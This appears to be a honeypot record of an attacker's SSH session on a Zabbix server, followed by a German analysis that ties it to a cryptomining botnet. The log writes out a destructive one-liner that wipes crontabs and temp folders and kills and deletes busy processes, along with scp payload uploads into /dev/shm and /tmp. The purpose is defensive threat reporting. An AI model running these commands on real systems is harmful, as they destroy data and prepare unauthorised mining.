17.10.2026, 04:46 UTC · 62 Befehle · über ssh · Niederlande
user='zabbix' pass='support' zabbix@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 zabbix@srv01:~$ uname -m | awk '{printf $1}' x86_64 zabbix@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' up 8 days, 03:45 zabbix@srv01:~$ lspci | egrep VGA && lspci | grep 3D 00:02.0 VGA compatible controller: Intel Corporation Xeon E3-1200 v5/E3-1200 v6 | 3rd Generation Core (Intel 4th Gen) Integrated Graphics Controller (rev 06) zabbix@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- Intel(R) Xeon(R) CPU E5-2620 v4 @ 2.10GHz zabbix@srv01:~$ curl ipinfo.io/org AS140612 zabbix@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found zabbix@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found zabbix@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 zabbix@srv01:~$ uname -n | awk '{printf $1}' srv01 zabbix@srv01:~$ uname -r | awk '{printf $1}' 4.15.0-213-generic zabbix@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… bash: pidof: command not found bash: pkill: command not found zabbix@srv01:~$ echo support > /tmp/d.log zabbix@srv01:~$ scp -qt "/var/tmp/FKgFvchb" zabbix@srv01:~$ scp -qt "/tmp/FKgFvchb" zabbix@srv01:~$ scp -qt "/dev/shm/FKgFvchb" zabbix@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 zabbix@srv01:~$ echo Admin > /tmp/d.log zabbix@srv01:~$ scp -qt "/var/tmp/BqvJInMg" zabbix@srv01:~$ scp -qt "/tmp/BqvJInMg" zabbix@srv01:~$ scp -qt "/dev/shm/BqvJInMg" zabbix@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 zabbix@srv01:~$ echo QWEqwe123 > /tmp/d.log zabbix@srv01:~$ scp -qt "/var/tmp/fpcSsodg" zabbix@srv01:~$ scp -qt "/tmp/fpcSsodg" zabbix@srv01:~$ scp -qt "/dev/shm/fpcSsodg" zabbix@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 zabbix@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 zabbix@srv01:~$ echo ec2-user > /tmp/d.log zabbix@srv01:~$ scp -qt "/var/tmp/YmqvNqQZ" zabbix@srv01:~$ scp -qt "/tmp/YmqvNqQZ" zabbix@srv01:~$ scp -qt "/dev/shm/YmqvNqQZ" zabbix@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 zabbix@srv01:~$ echo P@ssw0rd123 > /tmp/d.log zabbix@srv01:~$ scp -qt "/var/tmp/aMuhEoqG" zabbix@srv01:~$ scp -qt "/tmp/aMuhEoqG" zabbix@srv01:~$ scp -qt "/dev/shm/aMuhEoqG" zabbix@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 zabbix@srv01:~$ echo password > /tmp/d.log
Der Angreifer meldete sich mit den Standardzugangsdaten zabbix und support über SSH an. Er führte zunächst eine detaillierte Systeminventur durch, um Hardwarekomponenten wie Grafikkarten und Prozessoren zu identifizieren. Anschließend versuchte er, temporäre Dateien zu löschen und ressourcenintensive Prozesse zu beenden, um die Umgebung zu bereinigen. Zuletzt lud er über SCP mehrere Dateien in verschiedene temporäre Verzeichnisse hoch und speicherte alternative Zugangsdaten in einer Logdatei.
Die Befehle uname und lscpu sammeln technische Daten über das Betriebssystem und die CPU-Architektur. Die Abfragen mit lspci und nvidia-smi prüfen das Vorhandensein von Grafikkarten, was für Mining entscheidend ist. Der komplexe Befehl mit crontab und ps entfernt alte Cronjobs, leert Temp-Ordner und killt Prozesse, die mehr als 40 Prozent CPU oder 60 Prozent Speicher nutzen, um Ressourcen freizumachen. Die scp-Befehle übertragen Dateien in Pfade wie /var/tmp und /dev/shm, wobei letzteres ein flüchtiger Speicher ist, der oft zur Verschleierung genutzt wird. Die echo-Befehle schreiben neue Passwörter in eine Datei, vermutlich um späteren Zugriff zu sichern.
Das Vorgehen deutet stark auf die Vorbereitung eines Kryptomining-Angriffs hin, da explizit nach NVIDIA- und Radeon-Grafikkarten gesucht wurde. Das Löschen konkurrierender Prozesse und das Hochladen von Payloads in versteckte Verzeichnisse wie /dev/shm sind typische Schritte zur Installation von Mining-Software. Es bleibt offen, ob die geladenen Dateien bereits ausführbare Miner oder nur Skripte zur weiteren Erkundung waren.
Dieses Muster ist sehr verbreitet und folgt einem automatisierten Skript, das auf Standard-SSH-Zugänge und Mining-Potenzial spezialisiert ist. Die Kombination aus Hardware-Check und aggressiver Prozessbereinigung ist ein klassisches Indiz für automatisierte Botnet-Aktivitäten.